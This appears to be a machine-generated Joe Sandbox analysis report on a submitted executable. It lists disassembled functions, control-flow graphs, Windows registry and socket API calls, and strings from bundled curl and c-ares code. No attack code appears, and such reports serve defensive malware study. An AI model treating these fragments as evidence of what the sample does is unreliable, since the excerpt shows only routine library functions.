                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: setsockopt
                                                    • String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$ @$Bind to local port %d failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$cf-socket.c$cf_socket_open() -> %d, fd=%d$sa_addr inet_ntop() failed with errno %d: %s
                                                    • API String ID: 3981526788-2373386790
                                                    • Opcode ID: 164c6bb9925fb6bdc741fd6b910121807abef3d1a4becdf0d474a4751fb5bde5
                                                    • Instruction ID: ba09a53791a39877888bfcce56f6ef59a08eefb465708bee67fb09e298f905cb
                                                    • Opcode Fuzzy Hash: 164c6bb9925fb6bdc741fd6b910121807abef3d1a4becdf0d474a4751fb5bde5
                                                    • Instruction Fuzzy Hash: 3562F271908345ABE720CF24C846FABB7E9BF85318F04491DF98897292E771E945CB93
                                                    Function 00A59740 Relevance: 20.0, APIs: 3, Strings: 8, Instructions: 743registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 857 a59740-a5975b 858 a59780-a59782 857->858 859 a5975d-a59768 call a578a0 857->859 861 a59914-a5994e call d18b70 RegOpenKeyExA 858->861 862 a59788-a597a0 call d18e00 call a578a0 858->862 866 a5976e-a59770 859->866 867 a599bb-a599c0 859->867 874 a59950-a59955 861->874 875 a5995a-a59992 RegQueryValueExA RegCloseKey call d18b98 861->875 862->867 870 a597a6-a597c5 862->870 866->870 871 a59772-a5977e 866->871 872 a59a0c-a59a15 867->872 881 a59827-a59833 870->881 882 a597c7-a597e0 870->882 871->862 874->872 885 a59997-a599b5 call a578a0 875->885 886 a59835-a5985c call a4e2b0 * 2 881->886 887 a5985f-a59872 call a55ca0 881->887 883 a597f6-a59809 882->883 884 a597e2-a597f3 call d18b50 882->884 883->881 896 a5980b-a59810 883->896 884->883 885->867 885->870 886->887 897 a599f0 887->897 898 a59878-a5987d call a577b0 887->898 896->881 901 a59812-a59822 896->901 900 a599f5-a599fb call a55d00 897->900 906 a59882-a59889 898->906 911 a599fe-a59a09 900->911 901->872 906->900 910 a5988f-a5989b call a44fe0 906->910 910->897 916 a598a1-a598c3 call d18b50 call a578a0 910->916 911->872 921 a599c2-a599ed call a4e2b0 * 2 916->921 922 a598c9-a598db call a4e2d0 916->922 921->897 922->921 926 a598e1-a598f0 call a4e2d0 922->926 926->921 932 a598f6-a59905 call a563f0 926->932 937 a59f66-a59f7f call a55d00 932->937 938 a5990b-a5990f 932->938 937->911 940 a59a3f-a59a5a call a56740 call a563f0 938->940 940->937 946 a59a60-a59a6e call a56d60 940->946 949 a59a70-a59a94 call a56200 call a567e0 call a56320 946->949 950 a59a1f-a59a39 call a56840 call a563f0 946->950 961 a59a16-a59a19 949->961 962 a59a96-a59ac6 call a4d120 949->962 950->937 950->940 961->950 963 a59fc1 961->963 967 a59ae1-a59af7 call a4d190 962->967 968 a59ac8-a59adb call a4d120 962->968 966 a59fc5-a59ffd call a55d00 call a4e2b0 * 2 963->966 966->911 967->950 975 a59afd-a59b09 call a44fe0 967->975 968->950 968->967 975->963 982 a59b0f-a59b29 call a4e730 975->982 987 a59f84-a59f88 982->987 988 a59b2f-a59b3a call a578a0 982->988 989 a59f95-a59f99 987->989 988->987 994 a59b40-a59b54 call a4e760 988->994 991 a59fa0-a59fb6 call a4ebf0 * 2 989->991 992 a59f9b-a59f9e 989->992 1004 a59fb7-a59fbe 991->1004 992->963 992->991 1000 a59f8a-a59f92 994->1000 1001 a59b5a-a59b6e call a4e730 994->1001 1000->989 1007 a59b70-a5a004 1001->1007 1008 a59b8c-a59b97 call a563f0 1001->1008 1004->963 1012 a5a015-a5a01d 1007->1012 1016 a59b9d-a59bbf call a56740 call a563f0 1008->1016 1017 a59c9a-a59cab call a4ea00 1008->1017 1014 a5a024-a5a045 call a4ebf0 * 2 1012->1014 1015 a5a01f-a5a022 1012->1015 1014->966 1015->966 1015->1014 1016->1017 1034 a59bc5-a59bda call a56d60 1016->1034 1025 a59f31-a59f35 1017->1025 1026 a59cb1-a59ccd call a4ea00 call a4e960 1017->1026 1030 a59f37-a59f3a 1025->1030 1031 a59f40-a59f61 call a4ebf0 * 2 1025->1031 1045 a59cfd-a59d0e call a4e960 1026->1045 1046 a59ccf 1026->1046 1030->950 1030->1031 1031->950 1034->1017 1044 a59be0-a59bf4 call a56200 call a567e0 1034->1044 1044->1017 1065 a59bfa-a59c0b call a56320 1044->1065 1054 a59d10 1045->1054 1055 a59d53-a59d55 1045->1055 1049 a59cd1-a59cec call a4e9f0 call a4e4a0 1046->1049 1066 a59d47-a59d51 1049->1066 1067 a59cee-a59cfb call a4e9d0 1049->1067 1059 a59d12-a59d2d call a4e9f0 call a4e4a0 1054->1059 1058 a59e69-a59e8e call a4ea40 call a4e440 1055->1058 1082 a59e94-a59eaa call a4e3c0 1058->1082 1083 a59e90-a59e92 1058->1083 1086 a59d2f-a59d3c call a4e9d0 1059->1086 1087 a59d5a-a59d6f call a4e960 1059->1087 1080 a59b75-a59b86 call a4ea00 1065->1080 1081 a59c11-a59c1c call a57b70 1065->1081 1071 a59dca-a59ddb call a4e960 1066->1071 1067->1045 1067->1049 1092 a59ddd-a59ddf 1071->1092 1093 a59e2e-a59e36 1071->1093 1080->1008 1103 a59f2d 1080->1103 1081->1008 1097 a59c22-a59c33 call a4e960 1081->1097 1113 a59eb0-a59eb1 1082->1113 1114 a5a04a-a5a04c 1082->1114 1090 a59eb3-a59ec4 call a4e9c0 1083->1090 1086->1059 1106 a59d3e-a59d42 1086->1106 1109 a59d71-a59d73 1087->1109 1110 a59dc2 1087->1110 1090->950 1122 a59eca-a59ed0 1090->1122 1102 a59e06-a59e21 call a4e9f0 call a4e4a0 1092->1102 1099 a59e3d-a59e5b call a4ebf0 * 2 1093->1099 1100 a59e38-a59e3b 1093->1100 1124 a59c35 1097->1124 1125 a59c66-a59c75 call a578a0 1097->1125 1111 a59e5e-a59e67 1099->1111 1100->1099 1100->1111 1140 a59de1-a59dee call a4ec80 1102->1140 1141 a59e23-a59e2c call a4eac0 1102->1141 1103->1025 1106->1058 1120 a59d9a-a59db5 call a4e9f0 call a4e4a0 1109->1120 1110->1071 1111->1058 1111->1090 1113->1090 1118 a5a057-a5a070 call a4ebf0 * 2 1114->1118 1119 a5a04e-a5a051 1114->1119 1118->1004 1119->963 1119->1118 1154 a59d75-a59d82 call a4ec80 1120->1154 1155 a59db7-a59dc0 call a4eac0 1120->1155 1123 a59ee5-a59ef2 call a4e9f0 1122->1123 1123->950 1146 a59ef8-a59f0e call a4e440 1123->1146 1131 a59c37-a59c51 call a4e9f0 1124->1131 1151 a5a011 1125->1151 1152 a59c7b-a59c8f call a4e7c0 1125->1152 1131->1008 1170 a59c57-a59c64 call a4e9d0 1131->1170 1164 a59df1-a59e04 call a4e960 1140->1164 1141->1164 1168 a59f10-a59f26 call a4e3c0 1146->1168 1169 a59ed2-a59edf call a4e9e0 1146->1169 1151->1012 1152->1008 1165 a59c95-a5a00e 1152->1165 1174 a59d85-a59d98 call a4e960 1154->1174 1155->1174 1164->1093 1164->1102 1165->1151 1168->1169 1184 a59f28 1168->1184 1169->950 1169->1123 1170->1125 1170->1131 1174->1110 1174->1120 1184->963
                                                    APIs
                                                    • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 00A59946
                                                    • RegQueryValueExA.KERNELBASE(?,DatabasePath,00000000,00000000,?,00000104), ref: 00A59974
                                                    • RegCloseKey.KERNELBASE(?), ref: 00A5998B
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: CloseOpenQueryValue
                                                    • String ID: #$#$CARES_HOSTS$DatabasePath$System\CurrentControlSet\Services\Tcpip\Parameters$\hos$`L$sts
                                                    • API String ID: 3677997916-272680077
                                                    • Opcode ID: 77ab527c2220fe31c98ecc03af28dc037ea9af4ee6f5dfb7382e8b4fb6689b94
                                                    • Instruction ID: 109f6f3f32250ae4cb54db6967935c49c3c381c95cf74fd94a1390dc5fc20a1f
                                                    • Opcode Fuzzy Hash: 77ab527c2220fe31c98ecc03af28dc037ea9af4ee6f5dfb7382e8b4fb6689b94
                                                    • Instruction Fuzzy Hash: 2C32A4B5904201EBEB11AB24ED42A1B76E4BF94355F084438FD09DB263FB31E919D7A3
                                                    Function 009C8B50 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 269networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1358 9c8b50-9c8b69 1359 9c8b6b-9c8b74 1358->1359 1360 9c8be6 1358->1360 1362 9c8beb-9c8bf2 1359->1362 1363 9c8b76-9c8b8d 1359->1363 1361 9c8be9 1360->1361 1361->1362 1364 9c8b8f-9c8ba7 call 9a6e40 1363->1364 1365 9c8bf3-9c8bfe call 9ca550 1363->1365 1372 9c8bad-9c8baf 1364->1372 1373 9c8cd9-9c8d16 SleepEx 1364->1373 1370 9c8de4-9c8def 1365->1370 1371 9c8c04-9c8c08 1365->1371 1376 9c8e8c-9c8e95 1370->1376 1377 9c8df5-9c8e19 call 9ca150 1370->1377 1374 9c8dbd-9c8dc3 1371->1374 1375 9c8c0e-9c8c1d 1371->1375 1378 9c8bb5-9c8bb9 1372->1378 1379 9c8ca6-9c8cb0 1372->1379 1389 9c8d18-9c8d20 1373->1389 1390 9c8d22 1373->1390 1374->1361 1383 9c8c1f-9c8c34 connect 1375->1383 1384 9c8c35-9c8c48 call 9ca150 1375->1384 1381 9c8e97-9c8e9c 1376->1381 1382 9c8f00-9c8f06 1376->1382 1413 9c8e88 1377->1413 1414 9c8e1b-9c8e26 1377->1414 1378->1362 1387 9c8bbb-9c8bc2 1378->1387 1379->1373 1385 9c8cb2-9c8cb8 1379->1385 1391 9c8e9e-9c8eb6 call 9a2a00 1381->1391 1392 9c8edf-9c8eef call 9978b0 1381->1392 1382->1362 1383->1384 1412 9c8c4d-9c8c4f 1384->1412 1393 9c8ddc-9c8dde 1385->1393 1394 9c8cbe-9c8cd4 call 9cb180 1385->1394 1387->1362 1388 9c8bc4-9c8bcc 1387->1388 1396 9c8bce-9c8bd2 1388->1396 1397 9c8bd4-9c8bda 1388->1397 1399 9c8d26-9c8d39 1389->1399 1390->1399 1391->1392 1418 9c8eb8-9c8edd call 9a3410 * 2 1391->1418 1416 9c8ef2-9c8efc 1392->1416 1393->1361 1393->1370 1394->1370 1396->1362 1396->1397 1397->1362 1406 9c8bdc-9c8be1 1397->1406 1409 9c8d3b-9c8d3d 1399->1409 1410 9c8d43-9c8d61 call 9ad8c0 call 9ca150 1399->1410 1415 9c8dac-9c8db8 call 9d50a0 1406->1415 1409->1393 1409->1410 1437 9c8d66-9c8d74 1410->1437 1420 9c8c8e-9c8c93 1412->1420 1421 9c8c51-9c8c58 1412->1421 1413->1376 1422 9c8e2e-9c8e85 call 9ad090 call 9d4fd0 1414->1422 1423 9c8e28-9c8e2c 1414->1423 1415->1362 1416->1382 1418->1416 1430 9c8dc8-9c8dd9 call 9cb100 1420->1430 1431 9c8c99-9c8c9f 1420->1431 1421->1420 1427 9c8c5a-9c8c62 1421->1427 1422->1413 1423->1413 1423->1422 1433 9c8c6a-9c8c70 1427->1433 1434 9c8c64-9c8c68 1427->1434 1430->1393 1431->1379 1433->1420 1439 9c8c72-9c8c8b call 9d50a0 1433->1439 1434->1420 1434->1433 1437->1362 1442 9c8d7a-9c8d81 1437->1442 1439->1420 1442->1362 1443 9c8d87-9c8d8f 1442->1443 1447 9c8d9b-9c8da1 1443->1447 1448 9c8d91-9c8d95 1443->1448 1447->1362 1451 9c8da7 1447->1451 1448->1362 1448->1447 1451->1415
                                                    APIs
                                                    • connect.WS2_32(?,?,00000001), ref: 009C8C2F
                                                    • SleepEx.KERNELBASE(00000000,00000000), ref: 009C8CF3
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: Sleepconnect
                                                    • String ID: cf-socket.c$connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
                                                    • API String ID: 238548546-879669977
                                                    • Opcode ID: 7bc16462049a72ff4351736ca2f42e6188565be307da753f1f76bca29a10bd2b
                                                    • Instruction ID: d20e6dc20adb10142d4c947cfec452433b353e983b6012b10c9e5dcf7e5ba56b
                                                    • Opcode Fuzzy Hash: 7bc16462049a72ff4351736ca2f42e6188565be307da753f1f76bca29a10bd2b
                                                    • Instruction Fuzzy Hash: 3BB1B170A04306AFD710DF24C985FA7B7E9AF85314F08892DE85A5B2D2DB71EC45C762
                                                    Function 00992F17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 144registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1452 992f17-992f8c call e198f0 call e19ce0 1457 9931c9-9931cd 1452->1457 1458 992f91-992ff4 call 991619 RegOpenKeyExA 1457->1458 1459 9931d3-9931d6 1457->1459 1462 992ffa-99300b 1458->1462 1463 9931c5 1458->1463 1464 99315c-9931ac RegEnumKeyExA 1462->1464 1463->1457 1465 993010-993083 call 991619 RegOpenKeyExA 1464->1465 1466 9931b2-9931c2 1464->1466 1470 993089-9930d4 RegQueryValueExA 1465->1470 1471 99314e-993152 1465->1471 1466->1463 1472 99313b-99314b RegCloseKey 1470->1472 1473 9930d6-993137 call e19bc0 call e19c50 call e19ce0 call e19af0 call e19ce0 call e18050 1470->1473 1471->1464 1472->1471 1473->1472
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: EnumOpen
                                                    • String ID: d
                                                    • API String ID: 3231578192-2564639436
                                                    • Opcode ID: 74fe82162111a75f4896808b447c2526f878bb1964da33c185d24e2d83a82389
                                                    • Instruction ID: 6348af691b8b33eff2fb56791d0c5e81bd199158aa10bdb054231f03698712ef
                                                    • Opcode Fuzzy Hash: 74fe82162111a75f4896808b447c2526f878bb1964da33c185d24e2d83a82389
                                                    • Instruction Fuzzy Hash: 3971C3B49083199FDB50DF68C58479EBBF0BF84308F10896DE898A7351D7749A88DF92
                                                    Function 00A5AA30 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 377networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1486 a5aa30-a5aa64 1488 a5ab04-a5ab09 1486->1488 1489 a5aa6a-a5aaa7 call a4e730 1486->1489 1491 a5ae80-a5ae89 1488->1491 1493 a5ab0e-a5ab13 1489->1493 1494 a5aaa9-a5aabd 1489->1494 1495 a5ae2e 1493->1495 1496 a5aabf-a5aac7 1494->1496 1497 a5ab18-a5ab50 1494->1497 1498 a5ae30-a5ae4a call a4ea60 call a4ebf0 1495->1498 1496->1495 1499 a5aacd-a5ab02 1496->1499 1502 a5ab58-a5ab6d 1497->1502 1511 a5ae75-a5ae7d 1498->1511 1512 a5ae4c-a5ae57 1498->1512 1499->1502 1505 a5ab96-a5abab socket 1502->1505 1506 a5ab6f-a5ab73 1502->1506 1505->1495 1510 a5abb1-a5abc5 1505->1510 1506->1505 1508 a5ab75-a5ab8f 1506->1508 1508->1510 1524 a5ab91 1508->1524 1513 a5abc7-a5abca 1510->1513 1514 a5abd0-a5abed ioctlsocket 1510->1514 1511->1491 1516 a5ae6e-a5ae6f 1512->1516 1517 a5ae59-a5ae5e 1512->1517 1513->1514 1518 a5ad2e-a5ad39 1513->1518 1519 a5ac10-a5ac14 1514->1519 1520 a5abef-a5ac0a 1514->1520 1516->1511 1517->1516 1527 a5ae60-a5ae6c 1517->1527 1525 a5ad52-a5ad56 1518->1525 1526 a5ad3b-a5ad4c 1518->1526 1521 a5ac37-a5ac41 1519->1521 1522 a5ac16-a5ac31 1519->1522 1520->1519 1531 a5ae29 1520->1531 1528 a5ac43-a5ac46 1521->1528 1529 a5ac7a-a5ac7e 1521->1529 1522->1521 1522->1531 1524->1495 1530 a5ad5c-a5ad6b 1525->1530 1525->1531 1526->1525 1526->1531 1527->1511 1534 a5ad04-a5ad08 1528->1534 1535 a5ac4c-a5ac51 1528->1535 1537 a5ace7-a5acfe 1529->1537 1538 a5ac80-a5ac9b 1529->1538 1539 a5ad70-a5ad78 1530->1539 1531->1495 1534->1518 1541 a5ad0a-a5ad28 1534->1541 1535->1534 1542 a5ac57-a5ac78 1535->1542 1537->1534 1538->1537 1543 a5ac9d-a5acc1 1538->1543 1544 a5ada0-a5adb2 connect 1539->1544 1545 a5ad7a-a5ad7f 1539->1545 1541->1518 1541->1531 1547 a5acc6-a5acd7 1542->1547 1543->1547 1546 a5adb3-a5adcf 1544->1546 1545->1544 1548 a5ad81-a5ad99 1545->1548 1555 a5add5-a5add8 1546->1555 1556 a5ae8a-a5ae91 1546->1556 1547->1531 1554 a5acdd-a5ace5 1547->1554 1548->1546 1554->1534 1554->1537 1557 a5ade1-a5adf1 1555->1557 1558 a5adda-a5addf 1555->1558 1556->1498 1559 a5adf3-a5ae07 1557->1559 1560 a5ae0d-a5ae12 1557->1560 1558->1539 1558->1557 1559->1560 1566 a5aea8-a5aead 1559->1566 1561 a5ae14-a5ae17 1560->1561 1562 a5ae1a-a5ae1c call a5af70 1560->1562 1561->1562 1565 a5ae21-a5ae23 1562->1565 1567 a5ae25-a5ae27 1565->1567 1568 a5ae93-a5ae9d 1565->1568 1566->1498 1567->1498 1569 a5aeaf-a5aeb1 call a4e760 1568->1569 1570 a5ae9f-a5aea6 call a4e7c0 1568->1570 1574 a5aeb6-a5aebe 1569->1574 1570->1574 1575 a5aec0-a5aedb call a4e180 1574->1575 1576 a5af1a-a5af1f 1574->1576 1575->1498 1579 a5aee1-a5aeec 1575->1579 1576->1498 1580 a5af02-a5af06 1579->1580 1581 a5aeee-a5aeff 1579->1581 1582 a5af0e-a5af15 1580->1582 1583 a5af08-a5af0b 1580->1583 1581->1580 1582->1491 1583->1582
                                                    APIs
                                                    • socket.WS2_32(FFFFFFFF,?,00000000), ref: 00A5AB9B
                                                    • ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00A5ABE4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: ioctlsocketsocket
                                                    • String ID: XL$`L
                                                    • API String ID: 416004797-645526465
                                                    • Opcode ID: 5743d8c11f0c6dee791b3bd9b0baad3daaf5485d735e7f93aa06052e5a2ef0e9
                                                    • Instruction ID: c2139b199534dced4eeacc4772924131077f18a3416299c8dbbc1bd382d19c22
                                                    • Opcode Fuzzy Hash: 5743d8c11f0c6dee791b3bd9b0baad3daaf5485d735e7f93aa06052e5a2ef0e9
                                                    • Instruction Fuzzy Hash: F8E1CE707043029BEB20CF24C885B6BB7A5FF99311F144A2DFD998B291E775D948CB92
                                                    Function 009C9290 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1676 9c9290-9c92ed call 9976a0 1679 9c93c3-9c93ce 1676->1679 1680 9c92f3-9c92fb 1676->1680 1689 9c93e5-9c9427 call 9ad090 call 9d4f40 1679->1689 1690 9c93d0-9c93e1 1679->1690 1681 9c93aa-9c93af 1680->1681 1682 9c9301-9c9333 call 9ad8c0 call 9ad9a0 1680->1682 1683 9c93b5-9c93bc 1681->1683 1684 9c9456-9c9470 1681->1684 1700 9c9335-9c9364 WSAIoctl 1682->1700 1701 9c93a7 1682->1701 1687 9c93be 1683->1687 1688 9c9429-9c9431 1683->1688 1687->1684 1694 9c9439-9c943f 1688->1694 1695 9c9433-9c9437 1688->1695 1689->1684 1689->1688 1690->1683 1696 9c93e3 1690->1696 1694->1684 1699 9c9441-9c9453 call 9d50a0 1694->1699 1695->1684 1695->1694 1696->1684 1699->1684 1704 9c939b-9c93a4 1700->1704 1705 9c9366-9c936f 1700->1705 1701->1681 1704->1701 1705->1704 1708 9c9371-9c9390 setsockopt 1705->1708 1708->1704 1709 9c9392-9c9395 1708->1709 1709->1704
                                                    APIs
                                                    • WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 009C935D
                                                    • setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004,?,00000004,?,00000000,00000000), ref: 009C9388
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
